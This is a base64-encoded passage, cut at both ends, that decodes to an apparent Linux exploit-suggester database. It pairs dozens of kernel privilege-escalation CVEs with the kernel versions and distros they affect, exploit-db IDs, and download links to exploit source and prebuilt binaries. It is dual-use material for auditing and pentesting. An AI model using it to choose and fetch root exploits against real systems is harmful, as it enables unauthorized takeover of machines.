7dHh0cnN0fSBjYW5fYmNtClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj0yLjYuMTgsdmVyPD0yLjYuMzYKVGFnczogdWJ1bnR1PTEwLjA0e2tlcm5lbDoyLjYuMzItMjQtZ2VuZXJpY30KUmFuazogMQpiaW4tdXJsOiBodHRwczovL3dlYi5hcmNoaXZlLm9yZy93ZWIvMjAxNjA2MDIxOTI2NDEvaHR0cHM6Ly93d3cua2VybmVsLWV4cGxvaXRzLmNvbS9tZWRpYS9jYW5fYmNtCmV4cGxvaXQtZGI6IDE0ODE0CkVPRgopCgpFWFBMT0lUU1soKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTAtMzkwNF0ke3R4dHJzdH0gcmRzClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj0yLjYuMzAsdmVyPDIuNi4zNwpUYWdzOiBkZWJpYW49Ni4we2tlcm5lbDoyLjYuKDMxfDMyfDM0fDM1KS0oMXx0cnVuayktYW1kNjR9LHVidW50dT0xMC4xMHw5LjEwLGZlZG9yYT0xM3trZXJuZWw6Mi42LjMzLjMtODUuZmMxMy5pNjg2LlBBRX0sdWJ1bnR1PTEwLjA0e2tlcm5lbDoyLjYuMzItKDIxfDI0KS1nZW5lcmljfQpSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cDovL3d3dy5zZWN1cml0eWZvY3VzLmNvbS9hcmNoaXZlLzEvNTE0Mzc5CnNyYy11cmw6IGh0dHA6Ly93ZWIuYXJjaGl2ZS5vcmcvd2ViLzIwMTAxMDIwMDQ0MDQ4L2h0dHA6Ly93d3cudnNlY3VyaXR5LmNvbS9kb3dubG9hZC90b29scy9saW51eC1yZHMtZXhwbG9pdC5jCmJpbi11cmw6IGh0dHBzOi8vd2ViLmFyY2hpdmUub3JnL3dlYi8yMDE2MDYwMjE5MjY0MS9odHRwczovL3d3dy5rZXJuZWwtZXhwbG9pdHMuY29tL21lZGlhL3JkcwpiaW4tdXJsOiBodHRwczovL3dlYi5hcmNoaXZlLm9yZy93ZWIvMjAxNjA2MDIxOTI2NDEvaHR0cHM6Ly93d3cua2VybmVsLWV4cGxvaXRzLmNvbS9tZWRpYS9yZHM2NApleHBsb2l0LWRiOiAxNTI4NQpFT0YKKQoKRVhQTE9JVFNbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDEwLTM4NDgsQ1ZFLTIwMTAtMzg1MCxDVkUtMjAxMC00MDczXSR7dHh0cnN0fSBoYWxmX25lbHNvbgpSZXFzOiBwa2c9bGludXgta2VybmVsLHZlcj49Mi42LjAsdmVyPD0yLjYuMzYKVGFnczogdWJ1bnR1PSgxMC4wNHw5LjEwKXtrZXJuZWw6Mi42LigzMXwzMiktKDE0fDIxKS1zZXJ2ZXJ9ClJhbms6IDEKYmluLXVybDogaHR0cDovL3dlYi5hcmNoaXZlLm9yZy93ZWIvMjAxNjA2MDIxOTI2MzEvaHR0cHM6Ly93d3cua2VybmVsLWV4cGxvaXRzLmNvbS9tZWRpYS9oYWxmLW5lbHNvbjMKZXhwbG9pdC1kYjogMTc3ODcKRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtOL0FdJHt0eHRyc3R9IGNhcHNfdG9fcm9vdApSZXFzOiBwa2c9bGludXgta2VybmVsLHZlcj49Mi42LjM0LHZlcjw9Mi42LjM2LHg4NgpUYWdzOiB1YnVudHU9MTAuMTAKUmFuazogMQpleHBsb2l0LWRiOiAxNTkxNgpFT0YKKQoKRVhQTE9JVFNbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W04vQV0ke3R4dHJzdH0gY2Fwc190b19yb290IDIKUmVxczogcGtnPWxpbnV4LWtlcm5lbCx2ZXI+PTIuNi4zNCx2ZXI8PTIuNi4zNgpUYWdzOiB1YnVudHU9MTAuMTAKUmFuazogMQpleHBsb2l0LWRiOiAxNTk0NApFT0YKKQoKRVhQTE9JVFNbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDEwLTQzNDddJHt0eHRyc3R9IGFtZXJpY2FuLXNpZ24tbGFuZ3VhZ2UKUmVxczogcGtnPWxpbnV4LWtlcm5lbCx2ZXI+PTIuNi4wLHZlcjw9Mi42LjM2ClRhZ3M6ClJhbms6IDEKZXhwbG9pdC1kYjogMTU3NzQKRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxMC0zNDM3XSR7dHh0cnN0fSBwa3RjZHZkClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj0yLjYuMCx2ZXI8PTIuNi4zNgpUYWdzOiB1YnVudHU9MTAuMDQKUmFuazogMQpleHBsb2l0LWRiOiAxNTE1MApFT0YKKQoKRVhQTE9JVFNbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDEwLTMwODFdJHt0eHRyc3R9IHZpZGVvNGxpbnV4ClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj0yLjYuMCx2ZXI8PTIuNi4zMwpUYWdzOiBSSEVMPTUKUmFuazogMQpleHBsb2l0LWRiOiAxNTAyNApFT0YKKQoKRVhQTE9JVFNbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDEyLTAwNTZdJHt0eHRyc3R9IG1lbW9kaXBwZXIKUmVxczogcGtnPWxpbnV4LWtlcm5lbCx2ZXI+PTMuMC4wLHZlcjw9My4xLjAKVGFnczogdWJ1bnR1PSgxMC4wNHwxMS4xMCl7a2VybmVsOjMuMC4wLTEyLShnZW5lcmljfHNlcnZlcil9ClJhbms6IDEKYW5hbHlzaXMtdXJsOiBodHRwczovL2dpdC56eDJjNC5jb20vQ1ZFLTIwMTItMDA1Ni9hYm91dC8Kc3JjLXVybDogaHR0cHM6Ly9naXQuengyYzQuY29tL0NWRS0yMDEyLTAwNTYvcGxhaW4vbWVtcG9kaXBwZXIuYwpiaW4tdXJsOiBodHRwczovL3dlYi5hcmNoaXZlLm9yZy93ZWIvMjAxNjA2MDIxOTI2MzEvaHR0cHM6Ly93d3cua2VybmVsLWV4cGxvaXRzLmNvbS9tZWRpYS9tZW1vZGlwcGVyCmJpbi11cmw6IGh0dHBzOi8vd2ViLmFyY2hpdmUub3JnL3dlYi8yMDE2MDYwMjE5MjYzMS9odHRwczovL3d3dy5rZXJuZWwtZXhwbG9pdHMuY29tL21lZGlhL21lbW9kaXBwZXI2NApleHBsb2l0LWRiOiAxODQxMQpFT0YKKQoKRVhQTE9JVFNbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDEyLTAwNTYsQ1ZFLTIwMTAtMzg0OSxDVkUtMjAxMC0zODUwXSR7dHh0cnN0fSBmdWxsLW5lbHNvbgpSZXFzOiBwa2c9bGludXgta2VybmVsLHZlcj49Mi42LjAsdmVyPD0yLjYuMzYKVGFnczogdWJ1bnR1PSg5LjEwfDEwLjEwKXtrZXJuZWw6Mi42LigzMXwzNSktKDE0fDE5KS0oc2VydmVyfGdlbmVyaWMpfSx1YnVudHU9MTAuMDR7a2VybmVsOjIuNi4zMi0oMjF8MjQpLXNlcnZlcn0KUmFuazogMQpzcmMtdXJsOiBodHRwOi8vdnVsbmZhY3Rvcnkub3JnL2V4cGxvaXRzL2Z1bGwtbmVsc29uLmMKYmluLXVybDogaHR0cHM6Ly93ZWIuYXJjaGl2ZS5vcmcvd2ViLzIwMTYwNjAyMTkyNjMxL2h0dHBzOi8vd3d3Lmtlcm5lbC1leHBsb2l0cy5jb20vbWVkaWEvZnVsbC1uZWxzb24KYmluLXVybDogaHR0cHM6Ly93ZWIuYXJjaGl2ZS5vcmcvd2ViLzIwMTYwNjAyMTkyNjMxL2h0dHBzOi8vd3d3Lmtlcm5lbC1leHBsb2l0cy5jb20vbWVkaWEvZnVsbC1uZWxzb242NApleHBsb2l0LWRiOiAxNTcwNApFT0YKKQoKRVhQTE9JVFNbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDEzLTE4NThdJHt0eHRyc3R9IENMT05FX05FV1VTRVJ8Q0xPTkVfRlMKUmVxczogcGtnPWxpbnV4LWtlcm5lbCx2ZXI9My44LENPTkZJR19VU0VSX05TPXkKVGFnczogClJhbms6IDEKc3JjLXVybDogaHR0cDovL3N0ZWFsdGgub3BlbndhbGwubmV0L3hTcG9ydHMvY2xvd24tbmV3dXNlci5jCmFuYWx5c2lzLXVybDogaHR0cHM6Ly9sd24ubmV0L0FydGljbGVzLzU0MzI3My8KZXhwbG9pdC1kYjogMzgzOTAKYXV0aG9yOiBTZWJhc3RpYW4gS3JhaG1lcgpDb21tZW50czogQ09ORklHX1VTRVJfTlMgbmVlZHMgdG8gYmUgZW5hYmxlZCAKRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxMy0yMDk0XSR7dHh0cnN0fSBwZXJmX3N3ZXZlbnQKUmVxczogcGtnPWxpbnV4LWtlcm5lbCx2ZXI+PTIuNi4zMix2ZXI8My44LjkseDg2XzY0ClRhZ3M6IFJIRUw9Nix1YnVudHU9MTIuMDR7a2VybmVsOjMuMi4wLSgyM3wyOSktZ2VuZXJpY30sZmVkb3JhPTE2e2tlcm5lbDozLjEuMC03LmZjMTYueDg2XzY0fSxmZWRvcmE9MTd7a2VybmVsOjMuMy40LTUuZmMxNy54ODZfNjR9LGRlYmlhbj03e2tlcm5lbDozLjIuMC00LWFtZDY0fQpSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cDovL3RpbWV0b2JsZWVkLmNvbS9hLWNsb3Nlci1sb29rLWF0LWEtcmVjZW50LXByaXZpbGVnZS1lc2NhbGF0aW9uLWJ1Zy1pbi1saW51eC1jdmUtMjAxMy0yMDk0LwpiaW4tdXJsOiBodHRwczovL3dlYi5hcmNoaXZlLm9yZy93ZWIvMjAxNjA2MDIxOTI2MzEvaHR0cHM6Ly93d3cua2VybmVsLWV4cGxvaXRzLmNvbS9tZWRpYS9wZXJmX3N3ZXZlbnQKYmluLXVybDogaHR0cHM6Ly93ZWIuYXJjaGl2ZS5vcmcvd2ViLzIwMTYwNjAyMTkyNjMxL2h0dHBzOi8vd3d3Lmtlcm5lbC1leHBsb2l0cy5jb20vbWVkaWEvcGVyZl9zd2V2ZW50NjQKZXhwbG9pdC1kYjogMjYxMzEKYXV0aG9yOiBBbmRyZWEgJ3NvcmJvJyBCaXR0YXUKQ29tbWVudHM6IE5vIFNNRVAvU01BUCBieXBhc3MKRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxMy0yMDk0XSR7dHh0cnN0fSBwZXJmX3N3ZXZlbnQgMgpSZXFzOiBwa2c9bGludXgta2VybmVsLHZlcj49Mi42LjMyLHZlcjwzLjguOSx4ODZfNjQKVGFnczogdWJ1bnR1PTEyLjA0e2tlcm5lbDozLigyfDUpLjAtKDIzfDI5KS1nZW5lcmljfQpSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cDovL3RpbWV0b2JsZWVkLmNvbS9hLWNsb3Nlci1sb29rLWF0LWEtcmVjZW50LXByaXZpbGVnZS1lc2NhbGF0aW9uLWJ1Zy1pbi1saW51eC1jdmUtMjAxMy0yMDk0LwpzcmMtdXJsOiBodHRwczovL2N5c2VjbGFicy5jb20vZXhwbG9pdHMvdm5pa192MS5jCmV4cGxvaXQtZGI6IDMzNTg5CmF1dGhvcjogVml0YWx5ICd2bmlrJyBOaWtvbGVua28KQ29tbWVudHM6IE5vIFNNRVAvU01BUCBieXBhc3MKRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxMy0wMjY4XSR7dHh0cnN0fSBtc3IKUmVxczogcGtnPWxpbnV4LWtlcm5lbCx2ZXI+PTIuNi4xOCx2ZXI8My43LjYKVGFnczogClJhbms6IDEKZXhwbG9pdC1kYjogMjcyOTcKRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxMy0xOTU5XSR7dHh0cnN0fSB1c2VybnNfcm9vdF9zcGxvaXQKUmVxczogcGtnPWxpbnV4LWtlcm5lbCx2ZXI+PTMuMC4xLHZlcjwzLjguOQpUYWdzOiAKUmFuazogMQphbmFseXNpcy11cmw6IGh0dHA6Ly93d3cub3BlbndhbGwuY29tL2xpc3RzL29zcy1zZWN1cml0eS8yMDEzLzA0LzI5LzEKZXhwbG9pdC1kYjogMjU0NTAKRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxMy0yMDk0XSR7dHh0cnN0fSBzZW10ZXgKUmVxczogcGtnPWxpbnV4LWtlcm5lbCx2ZXI+PTIuNi4zMix2ZXI8My44LjkKVGFnczogUkhFTD02ClJhbms6IDEKYW5hbHlzaXMtdXJsOiBodHRwOi8vdGltZXRvYmxlZWQuY29tL2EtY2xvc2VyLWxvb2stYXQtYS1yZWNlbnQtcHJpdmlsZWdlLWVzY2FsYXRpb24tYnVnLWluLWxpbnV4LWN2ZS0yMDEzLTIwOTQvCmV4cGxvaXQtZGI6IDI1NDQ0CkVPRgopCgpFWFBMT0lUU1soKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTQtMDAzOF0ke3R4dHJzdH0gdGltZW91dHB3bgpSZXFzOiBwa2c9bGludXgta2VybmVsLHZlcj49My40LjAsdmVyPD0zLjEzLjEsQ09ORklHX1g4Nl9YMzI9eQpUYWdzOiB1YnVudHU9MTMuMTAKUmFuazogMQphbmFseXNpcy11cmw6IGh0dHA6Ly9ibG9nLmluY2x1ZGVzZWN1cml0eS5jb20vMjAxNC8wMy9leHBsb2l0LUNWRS0yMDE0LTAwMzgteDMyLXJlY3ZtbXNnLWtlcm5lbC12dWxuZXJhYmxpdHkuaHRtbApiaW4tdXJsOiBodHRwczovL3dlYi5hcmNoaXZlLm9yZy93ZWIvMjAxNjA2MDIxOTI2MzEvaHR0cHM6Ly93d3cua2VybmVsLWV4cGxvaXRzLmNvbS9tZWRpYS90aW1lb3V0cHduNjQKZXhwbG9pdC1kYjogMzEzNDYKQ29tbWVudHM6IENPTkZJR19YODZfWDMyIG5lZWRzIHRvIGJlIGVuYWJsZWQKRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxNC0wMDM4XSR7dHh0cnN0fSB0aW1lb3V0cHduIDIKUmVxczogcGtnPWxpbnV4LWtlcm5lbCx2ZXI+PTMuNC4wLHZlcjw9My4xMy4xLENPTkZJR19YODZfWDMyPXkKVGFnczogdWJ1bnR1PSgxMy4wNHwxMy4xMCl7a2VybmVsOjMuKDh8MTEpLjAtKDEyfDE1fDE5KS1nZW5lcmljfQpSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cDovL2Jsb2cuaW5jbHVkZXNlY3VyaXR5LmNvbS8yMDE0LzAzL2V4cGxvaXQtQ1ZFLTIwMTQtMDAzOC14MzItcmVjdm1tc2cta2VybmVsLXZ1bG5lcmFibGl0eS5odG1sCmV4cGxvaXQtZGI6IDMxMzQ3CkNvbW1lbnRzOiBDT05GSUdfWDg2X1gzMiBuZWVkcyB0byBiZSBlbmFibGVkCkVPRgopCgpFWFBMT0lUU1soKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTQtMDE5Nl0ke3R4dHJzdH0gcmF3bW9kZVBUWQpSZXFzOiBwa2c9bGludXgta2VybmVsLHZlcj49Mi42LjMxLHZlcjw9My4xNC4zClRhZ3M6ClJhbms6IDEKYW5hbHlzaXMtdXJsOiBodHRwOi8vYmxvZy5pbmNsdWRlc2VjdXJpdHkuY29tLzIwMTQvMDYvZXhwbG9pdC13YWxrdGhyb3VnaC1jdmUtMjAxNC0wMTk2LXB0eS1rZXJuZWwtcmFjZS1jb25kaXRpb24uaHRtbApleHBsb2l0LWRiOiAzMzUxNgpFT0YKKQoKRVhQTE9JVFNbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDE0LTI4NTFdJHt0eHRyc3R9IHVzZS1hZnRlci1mcmVlIGluIHBpbmdfaW5pdF9zb2NrKCkgJHtibGRibHV9KERvUykke3R4dHJzdH0KUmVxczogcGtnPWxpbnV4LWtlcm5lbCx2ZXI+PTMuMC4xLHZlcjw9My4xNApUYWdzOiAKUmFuazogMAphbmFseXNpcy11cmw6IGh0dHBzOi8vY3lzZWNsYWJzLmNvbS9wYWdlP249MDIwMTIwMTYKZXhwbG9pdC1kYjogMzI5MjYKRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxNC00MDE0XSR7dHh0cnN0fSBpbm9kZV9jYXBhYmxlClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj0zLjAuMSx2ZXI8PTMuMTMKVGFnczogdWJ1bnR1PTEyLjA0ClJhbms6IDEKYW5hbHlzaXMtdXJsOiBodHRwOi8vd3d3Lm9wZW53YWxsLmNvbS9saXN0cy9vc3Mtc2VjdXJpdHkvMjAxNC8wNi8xMC80CmV4cGxvaXQtZGI6IDMzODI0CkVPRgopCgpFWFBMT0lUU1soKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTQtNDY5OV0ke3R4dHJzdH0gcHRyYWNlL3N5c3JldApSZXFzOiBwa2c9bGludXgta2VybmVsLHZlcj49My4wLjEsdmVyPD0zLjgKVGFnczogdWJ1bnR1PTEyLjA0ClJhbms6IDEKYW5hbHlzaXMtdXJsOiBodHRwOi8vd3d3Lm9wZW53YWxsLmNvbS9saXN0cy9vc3Mtc2VjdXJpdHkvMjAxNC8wNy8wOC8xNgpleHBsb2l0LWRiOiAzNDEzNApFT0YKKQoKRVhQTE9JVFNbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDE0LTQ5NDNdJHt0eHRyc3R9IFBQUG9MMlRQICR7YmxkYmx1fShEb1MpJHt0eHRyc3R9ClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj0zLjIsdmVyPD0zLjE1LjYKVGFnczogClJhbms6IDEKYW5hbHlzaXMtdXJsOiBodHRwczovL2N5c2VjbGFicy5jb20vcGFnZT9uPTAxMTAyMDE1CmV4cGxvaXQtZGI6IDM2MjY3CkVPRgopCgpFWFBMT0lUU1soKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTQtNTIwN10ke3R4dHJzdH0gZnVzZV9zdWlkClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj0zLjAuMSx2ZXI8PTMuMTYuMQpUYWdzOiAKUmFuazogMQpleHBsb2l0LWRiOiAzNDkyMwpFT0YKKQoKRVhQTE9JVFNbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDE1LTkzMjJdJHt0eHRyc3R9IEJhZElSRVQKUmVxczogcGtnPWxpbnV4LWtlcm5lbCx2ZXI+PTMuMC4xLHZlcjwzLjE3LjUseDg2XzY0ClRhZ3M6IFJIRUw8PTcsZmVkb3JhPTIwClJhbms6IDEKYW5hbHlzaXMtdXJsOiBodHRwOi8vbGFicy5icm9taXVtLmNvbS8yMDE1LzAyLzAyL2V4cGxvaXRpbmctYmFkaXJldC12dWxuZXJhYmlsaXR5LWN2ZS0yMDE0LTkzMjItbGludXgta2VybmVsLXByaXZpbGVnZS1lc2NhbGF0aW9uLwpzcmMtdXJsOiBodHRwOi8vc2l0ZS5waTMuY29tLnBsL2V4cC9wX2N2ZS0yMDE0LTkzMjIudGFyLmd6CmV4cGxvaXQtZGI6CmF1dGhvcjogUmFmYWwgJ24zcmdhbCcgV29qdGN6dWsgJiBBZGFtICdwaTMnIFphYnJvY2tpCkVPRgopCgpFWFBMT0lUU1soKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTUtMzI5MF0ke3R4dHJzdH0gZXNwZml4NjRfTk1JClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj0zLjEzLHZlcjw0LjEuNix4ODZfNjQKVGFnczogClJhbms6IDEKYW5hbHlzaXMtdXJsOiBodHRwOi8vd3d3Lm9wZW53YWxsLmNvbS9saXN0cy9vc3Mtc2VjdXJpdHkvMjAxNS8wOC8wNC84CmV4cGxvaXQtZGI6IDM3NzIyCkVPRgopCgpFWFBMT0lUU1soKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bTi9BXSR7dHh0cnN0fSBibHVldG9vdGgKUmVxczogcGtnPWxpbnV4LWtlcm5lbCx2ZXI8PTIuNi4xMQpUYWdzOgpSYW5rOiAxCmV4cGxvaXQtZGI6IDQ3NTYKRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxNS0xMzI4XSR7dHh0cnN0fSBvdmVybGF5ZnMKUmVxczogcGtnPWxpbnV4LWtlcm5lbCx2ZXI+PTMuMTMuMCx2ZXI8PTMuMTkuMApUYWdzOiB1YnVudHU9KDEyLjA0fDE0LjA0KXtrZXJuZWw6My4xMy4wLSgyfDN8NHw1KSotZ2VuZXJpY30sdWJ1bnR1PSgxNC4xMHwxNS4wNCl7a2VybmVsOjMuKDEzfDE2KS4wLSotZ2VuZXJpY30KUmFuazogMQphbmFseXNpcy11cmw6IGh0dHA6Ly9zZWNsaXN0cy5vcmcvb3NzLXNlYy8yMDE1L3EyLzcxNwpiaW4tdXJsOiBodHRwczovL3dlYi5hcmNoaXZlLm9yZy93ZWIvMjAxNjA2MDIxOTI2MzEvaHR0cHM6Ly93d3cua2VybmVsLWV4cGxvaXRzLmNvbS9tZWRpYS9vZnNfMzIKYmluLXVybDogaHR0cHM6Ly93ZWIuYXJjaGl2ZS5vcmcvd2ViLzIwMTYwNjAyMTkyNjMxL2h0dHBzOi8vd3d3Lmtlcm5lbC1leHBsb2l0cy5jb20vbWVkaWEvb2ZzXzY0CmV4cGxvaXQtZGI6IDM3MjkyCkVPRgopCgpFWFBMT0lUU1soKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTUtODY2MF0ke3R4dHJzdH0gb3ZlcmxheWZzIChvdmxfc2V0YXR0cikKUmVxczogcGtnPWxpbnV4LWtlcm5lbCx2ZXI+PTMuMC4wLHZlcjw9NC4zLjMKVGFnczoKUmFuazogMQphbmFseXNpcy11cmw6IGh0dHA6Ly93d3cuaGFsZmRvZy5uZXQvU2VjdXJpdHkvMjAxNS9Vc2VyTmFtZXNwYWNlT3ZlcmxheWZzU2V0dWlkV3JpdGVFeGVjLwpleHBsb2l0LWRiOiAzOTIzMApFT0YKKQoKRVhQTE9JVFNbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDE1LTg2NjBdJHt0eHRyc3R9IG92ZXJsYXlmcyAob3ZsX3NldGF0dHIpClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj0zLjAuMCx2ZXI8PTQuMy4zClRhZ3M6IHVidW50dT0oMTQuMDR8MTUuMTApe2tlcm5lbDo0LjIuMC0oMTh8MTl8MjB8MjF8MjIpLWdlbmVyaWN9ClJhbms6IDEKYW5hbHlzaXMtdXJsOiBodHRwOi8vd3d3LmhhbGZkb2cubmV0L1NlY3VyaXR5LzIwMTUvVXNlck5hbWVzcGFjZU92ZXJsYXlmc1NldHVpZFdyaXRlRXhlYy8KZXhwbG9pdC1kYjogMzkxNjYKRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxNi0wNzI4XSR7dHh0cnN0fSBrZXlyaW5nClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj0zLjEwLHZlcjw0LjQuMQpUYWdzOgpSYW5rOiAwCmFuYWx5c2lzLXVybDogaHR0cDovL3BlcmNlcHRpb24tcG9pbnQuaW8vMjAxNi8wMS8xNC9hbmFseXNpcy1hbmQtZXhwbG9pdGF0aW9uLW9mLWEtbGludXgta2VybmVsLXZ1bG5lcmFiaWxpdHktY3ZlLTIwMTYtMDcyOC8KZXhwbG9pdC1kYjogNDAwMDMKQ29tbWVudHM6IEV4cGxvaXQgdGFrZXMgYWJvdXQgfjMwIG1pbnV0ZXMgdG8gcnVuLiBFeHBsb2l0IGlzIG5vdCByZWxpYWJsZSwgc2VlOiBodHRwczovL2N5c2VjbGFicy5jb20vYmxvZy9jdmUtMjAxNi0wNzI4LXBvYy1ub3Qtd29ya2luZwpFT0YKKQoKRVhQTE9JVFNbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDE2LTIzODRdJHt0eHRyc3R9IHVzYi1taWRpClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj0zLjAuMCx2ZXI8PTQuNC44ClRhZ3M6IHVidW50dT0xNC4wNCxmZWRvcmE9MjIKUmFuazogMQphbmFseXNpcy11cmw6IGh0dHBzOi8veGFpcnkuZ2l0aHViLmlvL2Jsb2cvMjAxNi9jdmUtMjAxNi0yMzg0CnNyYy11cmw6IGh0dHBzOi8vcmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbS94YWlyeS9rZXJuZWwtZXhwbG9pdHMvbWFzdGVyL0NWRS0yMDE2LTIzODQvcG9jLmMKZXhwbG9pdC1kYjogNDE5OTkKQ29tbWVudHM6IFJlcXVpcmVzIGFiaWxpdHkgdG8gcGx1ZyBpbiBhIG1hbGljaW91cyBVU0IgZGV2aWNlIGFuZCB0byBleGVjdXRlIGEgbWFsaWNpb3VzIGJpbmFyeSBhcyBhIG5vbi1wcml2aWxlZ2VkIHVzZXIKYXV0aG9yOiBBbmRyZXkgJ3hhaXJ5JyBLb25vdmFsb3YKRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxNi00OTk3XSR7dHh0cnN0fSB0YXJnZXRfb2Zmc2V0ClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj00LjQuMCx2ZXI8PTQuNC4wLGNtZDpncmVwIC1xaSBpcF90YWJsZXMgL3Byb2MvbW9kdWxlcwpUYWdzOiB1YnVudHU9MTYuMDR7a2VybmVsOjQuNC4wLTIxLWdlbmVyaWN9ClJhbms6IDEKc3JjLXVybDogaHR0cHM6Ly9naXRodWIuY29tL29mZmVuc2l2ZS1zZWN1cml0eS9leHBsb2l0LWRhdGFiYXNlLWJpbi1zcGxvaXRzL3Jhdy9tYXN0ZXIvYmluLXNwbG9pdHMvNDAwNTMuemlwCkNvbW1lbnRzOiBpcF90YWJsZXMua28gbmVlZHMgdG8gYmUgbG9hZGVkCmV4cGxvaXQtZGI6IDQwMDQ5CmF1dGhvcjogVml0YWx5ICd2bmlrJyBOaWtvbGVua28KRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxNi00NTU3XSR7dHh0cnN0fSBkb3VibGUtZmRwdXQoKQpSZXFzOiBwa2c9bGludXgta2VybmVsLHZlcj49NC40LHZlcjw0LjUuNSxDT05GSUdfQlBGX1NZU0NBTEw9eSxzeXNjdGw6a2VybmVsLnVucHJpdmlsZWdlZF9icGZfZGlzYWJsZWQhPTEKVGFnczogdWJ1bnR1PTE2LjA0e2tlcm5lbDo0LjQuMC0yMS1nZW5lcmljfQpSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cHM6Ly9idWdzLmNocm9taXVtLm9yZy9wL3Byb2plY3QtemVyby9pc3N1ZXMvZGV0YWlsP2lkPTgwOApzcmMtdXJsOiBodHRwczovL2dpdGh1Yi5jb20vb2ZmZW5zaXZlLXNlY3VyaXR5L2V4cGxvaXQtZGF0YWJhc2UtYmluLXNwbG9pdHMvcmF3L21hc3Rlci9iaW4tc3Bsb2l0cy8zOTc3Mi56aXAKQ29tbWVudHM6IENPTkZJR19CUEZfU1lTQ0FMTCBuZWVkcyB0byBiZSBzZXQgJiYga2VybmVsLnVucHJpdmlsZWdlZF9icGZfZGlzYWJsZWQgIT0gMQpleHBsb2l0LWRiOiA0MDc1OQphdXRob3I6IEphbm4gSG9ybgpFT0YKKQoKRVhQTE9JVFNbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDE2LTUxOTVdJHt0eHRyc3R9IGRpcnR5Y293ClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj0yLjYuMjIsdmVyPD00LjguMwpUYWdzOiBkZWJpYW49N3w4LFJIRUw9NXtrZXJuZWw6Mi42LigxOHwyNHwzMyktKn0sUkhFTD02e2tlcm5lbDoyLjYuMzItKnwzLigwfDJ8Nnw4fDEwKS4qf